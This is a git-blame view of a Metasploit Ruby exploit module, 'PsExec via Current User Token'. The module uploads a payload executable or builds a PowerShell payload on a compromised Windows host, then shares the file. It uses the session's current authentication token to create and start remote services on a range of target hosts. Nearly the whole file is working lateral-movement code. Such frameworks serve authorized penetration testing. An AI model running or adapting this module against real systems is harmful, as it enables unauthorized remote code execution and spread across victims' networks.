Files
metasploit-gs/modules/exploits/windows/local/current_user_psexec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

158 lines
5.7 KiB
Ruby
Raw Normal View History

2012-08-01 01:05:10 -06:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-08-01 01:05:10 -06:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Local
2012-08-04 11:05:38 -05:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
2012-11-06 17:30:04 -06:00
include Post::Windows::Services
2012-08-01 01:05:10 -06:00
include Exploit::EXE
2013-09-20 22:07:42 +01:00
include Exploit::Powershell
2012-08-01 01:05:10 -06:00
include Post::File
2013-08-30 16:28:54 -05:00
2021-09-10 12:53:39 +01:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'PsExec via Current User Token',
'Description' => %q{
2012-08-01 01:05:10 -06:00
This module uploads an executable file to the victim system, creates
a share containing that executable, creates a remote service on each
target system using a UNC path to that file, and finally starts the
service(s).
2013-08-30 16:28:54 -05:00
2012-08-01 01:05:10 -06:00
The result is similar to psexec but with the added benefit of using
the session's current authentication token instead of having to know
a password or hash.
},
2021-09-10 12:53:39 +01:00
'License' => MSF_LICENSE,
'Author' => [
'egypt',
'jabra' # Brainstorming and help with original technique
],
'References' => [
# same as for windows/smb/psexec
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
[ 'OSVDB', '3106'],
[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
],
'DefaultOptions' => {
'WfsDelay' => 10,
},
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '1999-01-01',
2021-09-10 12:53:39 +01:00
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
2012-08-01 01:05:10 -06:00
'Targets' => [ [ 'Universal', {} ] ],
2021-10-06 13:43:31 +01:00
'DefaultTarget' => 0,
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_fs_mkdir
stdapi_sys_config_getenv
]
}
}
2021-09-10 12:53:39 +01:00
)
)
2013-08-30 16:28:54 -05:00
2012-08-01 01:05:10 -06:00
register_options([
OptString.new("INTERNAL_ADDRESS", [
false,
2021-09-10 12:53:39 +01:00
"Session's internal address or hostname for the victims to grab the " +
2012-08-01 01:05:10 -06:00
"payload from (Default: detected)"
2021-09-10 12:53:39 +01:00
]),
OptString.new("NAME", [ false, "Service name on each target in RHOSTS (Default: random)" ]),
2012-08-01 01:05:10 -06:00
OptString.new("DISPNAME", [ false, "Service display name (Default: random)" ]),
2014-12-10 22:25:44 +00:00
OptEnum.new("TECHNIQUE", [ true, "Technique to use", 'PSH', ['PSH', 'SMB'] ]),
2012-08-01 01:05:10 -06:00
OptAddressRange.new("RHOSTS", [ false, "Target address range or CIDR identifier" ]),
2014-12-10 22:25:44 +00:00
OptBool.new("KERBEROS", [ true, "Authenticate via Kerberos, dont resolve hostnames", false ])
2012-08-01 01:05:10 -06:00
])
end
2013-08-30 16:28:54 -05:00
2012-08-01 01:05:10 -06:00
def exploit
name = datastore["NAME"] || Rex::Text.rand_text_alphanumeric(10)
display_name = datastore["DISPNAME"] || Rex::Text.rand_text_alphanumeric(10)
2013-09-20 22:07:42 +01:00
if datastore['TECHNIQUE'] == 'SMB'
# XXX Find the domain controller
2021-09-10 12:53:39 +01:00
# share_host = datastore["INTERNAL_ADDRESS"] || detect_address
2013-09-20 22:07:42 +01:00
share_host = datastore["INTERNAL_ADDRESS"] || session.session_host
print_status "Using #{share_host} as the internal address for victims to get the payload from"
# Build a random name for the share and directory
share_name = Rex::Text.rand_text_alphanumeric(8)
drive = session.sys.config.getenv('SYSTEMDRIVE')
2013-09-20 22:07:42 +01:00
share_dir = "#{drive}\\#{share_name}"
# Create them
print_status("Creating share #{share_dir}")
session.fs.dir.mkdir(share_dir)
cmd_exec("net share #{share_name}=#{share_dir}")
# Generate an executable from the shellcode and drop it in the share
# directory
filename = "#{Rex::Text.rand_text_alphanumeric(8)}.exe"
payload_exe = generate_payload_exe_service(
:servicename => name,
# XXX Ghetto
:arch => payload.send(:pinst).arch.first
)
print_status("Dropping payload #{filename}")
write_file("#{share_dir}\\#{filename}", payload_exe)
service_executable = "\\\\#{share_host}\\#{share_name}\\#{filename}"
else
service_executable = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
2013-09-20 22:07:42 +01:00
end
2013-08-30 16:28:54 -05:00
2012-08-01 01:05:10 -06:00
begin
2014-12-10 22:25:44 +00:00
if datastore['KERBEROS']
2021-09-10 12:53:39 +01:00
targets = datastore['RHOSTS'].split(', ').map { |a| a.split(' ') }.flatten
2014-12-10 22:25:44 +00:00
else
targets = Rex::Socket::RangeWalker.new(datastore["RHOSTS"])
end
targets.each do |server|
2012-08-01 01:05:10 -06:00
begin
print_status("#{server.ljust(16)} Creating service #{name}")
2013-08-30 16:28:54 -05:00
2014-01-03 15:44:59 +00:00
service_create(name,
{
2021-09-10 12:53:39 +01:00
:display => display_name,
:path => service_executable,
:starttype => "START_TYPE_MANUAL"
2014-01-03 15:44:59 +00:00
},
server)
2013-08-30 16:28:54 -05:00
2012-08-01 01:05:10 -06:00
# If everything went well, this will create a session. If not, it
# might be permissions issues or possibly we failed to create the
# service.
print_status("#{server.ljust(16)} Starting the service")
service_start(name, server)
2013-08-30 16:28:54 -05:00
2012-08-01 01:05:10 -06:00
print_status("#{server.ljust(16)} Deleting the service")
service_delete(name, server)
2013-09-20 22:07:42 +01:00
rescue Rex::TimeoutError
vprint_status("#{server.ljust(16)} Timed out...")
next
2013-09-20 17:13:35 -05:00
rescue RuntimeError, ::Rex::Post::Meterpreter::RequestError
2012-08-01 01:05:10 -06:00
print_error("Exception running payload: #{$!.class} : #{$!}")
print_warning("#{server.ljust(16)} WARNING: May have failed to clean up!")
print_warning("#{server.ljust(16)} Try a command like: sc \\\\#{server}\\ delete #{name}")
2012-08-01 01:05:10 -06:00
next
end
end
ensure
2013-09-20 22:07:42 +01:00
if datastore['TECHNIQUE'] == 'SMB'
print_status("Deleting share #{share_name}")
cmd_exec("net share #{share_name} /delete /y")
print_status("Deleting files #{share_dir}")
cmd_exec("cmd /c rmdir /q /s #{share_dir}")
end
2012-08-01 01:05:10 -06:00
end
end
end